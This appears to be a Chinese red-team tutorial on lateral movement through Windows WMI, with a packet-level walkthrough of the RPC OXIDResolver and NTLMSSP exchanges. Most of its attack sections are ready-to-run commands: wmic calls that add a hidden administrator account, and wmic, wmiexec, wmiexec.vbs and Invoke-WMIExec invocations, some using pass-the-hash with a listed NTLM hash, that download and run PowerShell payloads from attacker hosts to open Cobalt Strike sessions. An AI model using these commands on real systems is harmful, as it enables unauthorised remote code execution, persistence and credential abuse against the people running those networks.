一. WMI介绍和使用
1. WMI介绍
WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议, 在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用WMI 进行攻击。
但是微软于 2016 年在 Windows Server 中弃用了 WMIC;于 2021 年在 Windows 10 系统中弃用了 WMIC,而且自 Windows 11 的下个版本开始,后续版本将默认禁用该工具。最终,微软将从未来的 Windows 版本中移除 WMIC。
微软用 Windows PowerShell for WMI 取代了 WMIC(WMIC 和 WMI 是两码事),为管理员提供了一种更有效的方式来查询 Windows Management Instrumentation。
但是在内网中还是有大部分使用的是server 2016之前的版本,所有该方法还有效!
2. 使用方法
1、执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"
2、列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
3、在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\test.bat
4、添加用户
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
5、执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c\"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""
其实命令还有很多...
二. RPC协议分析 - OXIDResolve接口
DCERPC是一个非常基础的Windows系统的通信协议。 DCERPC比RDP协议更普遍,默认开启,内容丰富,接口众多,早期的安全人员在其基础上写了很多蠕虫病毒,DCERPC的默认端口是135,上面承载了包含WMI,认证包括ntlm挑战相应,甚至还能获取网卡IP地址列表。
接下来分析一下RPC协议中都包含了什么内容,这个对于进行安全研究有着很大的帮助!
-
- 首先使用WMI进行远程连接机器然后抓包分析
- 首先使用WMI进行远程连接机器然后抓包分析
-
- 分析第一个数据包,第一个数据包表明了利用RPC协议即将调用的接口,是OXIDResolve
- 分析第一个数据包,第一个数据包表明了利用RPC协议即将调用的接口,是OXIDResolve
-
- 分析第二个数据包,是目标机器返回的数据包,里面包含了确认信息,没有关键的东西
- 分析第二个数据包,是目标机器返回的数据包,里面包含了确认信息,没有关键的东西
-
- 分析第三个数据包,利用dcom发起OXID接口的请求数据包
- 分析第三个数据包,利用dcom发起OXID接口的请求数据包
-
- 分析第四个数据包,OXID接口返回的数据,非常重要,里面包含了,工作组名字,域名,IP地址(所有网卡的IP地址)IPV6地址等
- 分析第四个数据包,OXID接口返回的数据,非常重要,里面包含了,工作组名字,域名,IP地址(所有网卡的IP地址)IPV6地址等
总结
从以上数据包得知:
该接口是未授权访问(并没有使用smb进行认证,只是使用RDP调用了OXID接口)
可以得到目标机器的相关信息(机器名IP多网卡等)
该技术应用非常广泛,如今FOFA GOBY ,国内红队大部分扫描器就都开始集成这个功能,甚至集成到了CS还有很多人写的脚本
三. RPC协议分析 - NTLMSSP协议
NtLmSsp这个服务主要针对RPC(远程过程调用),通常RPC可以选择基于两种通信方式,一种是传输协议,比如TCP/IP、UDP、IPX等,另一种为命名管道(Pipeline)。通常情况下Windows默认选择都是传输协议,而由于RPC是采用非加密传输的,通信数据安全无法得到保证,而NtLmSsp就可向这一类RPC提供安全服务。
接着分析数据包:
-
1.第一个数据包是发送给目标机器的,包含了认证方式NTLM,还有即将请求的接口类型
-
- 第二个数据包:因为该接口是远程调用接口,需要进行认证,这里使用NTLM挑战相应认证,所以数据包是challenge值,并且包含了自己的主机的相关信息,包含了域名,电脑名,DNS域名,还有DNS电脑名
- 第二个数据包:因为该接口是远程调用接口,需要进行认证,这里使用NTLM挑战相应认证,所以数据包是challenge值,并且包含了自己的主机的相关信息,包含了域名,电脑名,DNS域名,还有DNS电脑名
-
- 第三个数据包:第三个数据包是response值,用于认证
- 第三个数据包:第三个数据包是response值,用于认证
-
- 第四个数据包:认证成功之后接着远程调用isystemactivator接口的remotecreateinstance函数作用是为实际对象创建对象引用
- 第四个数据包:认证成功之后接着远程调用isystemactivator接口的remotecreateinstance函数作用是为实际对象创建对象引用
四. WMI横向的利用条件
使用条件如下:
1、wmic命令需要本地管理员或域管理员权限(有UAC也可以)
2、135端口开放
3、开放445(某些脚本需要借助SMB认证)
五. 利用WMI众多工具进行CS上线
1、直接利用自带的wmic的命名上线
-
第一步:先在本地用python开启一个http服务,,方便接下来测试CS上线
命令:
wmic /NODE:192.168.41.20 /user:administrator /password:Admin123 PROCESS call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))""
成功上线
2. wmicexec工具
使用方法:
wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell
wmiexec.exe 域名/用户名:密码@目标IP "ipconfig" #执行命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP
其实工具上线步骤都相同
先上传WMICEXEC
后输入
wmiexec.exe administrator:Admin123@192.168.41.20 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))"
该工具因为还走了一些SMB认证和访问共享等行为,杀软会拦截
3. wmiexec.vbs脚本
wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式
使用方法:
cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令"
上线:
cscript.exe //nologo wmiexec.vbs /cmd 192.168.41.20 administrator Admin123 "powershell.exe - nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))"
4. Invoke-WMIExec
Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中用法如下:
Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe" --verbo
步骤
powershell-import powershell/Invoke-WMIExec.ps1
powershell Invoke-WMIExec -Target 192.168.41.20 -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab -Command "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -verbose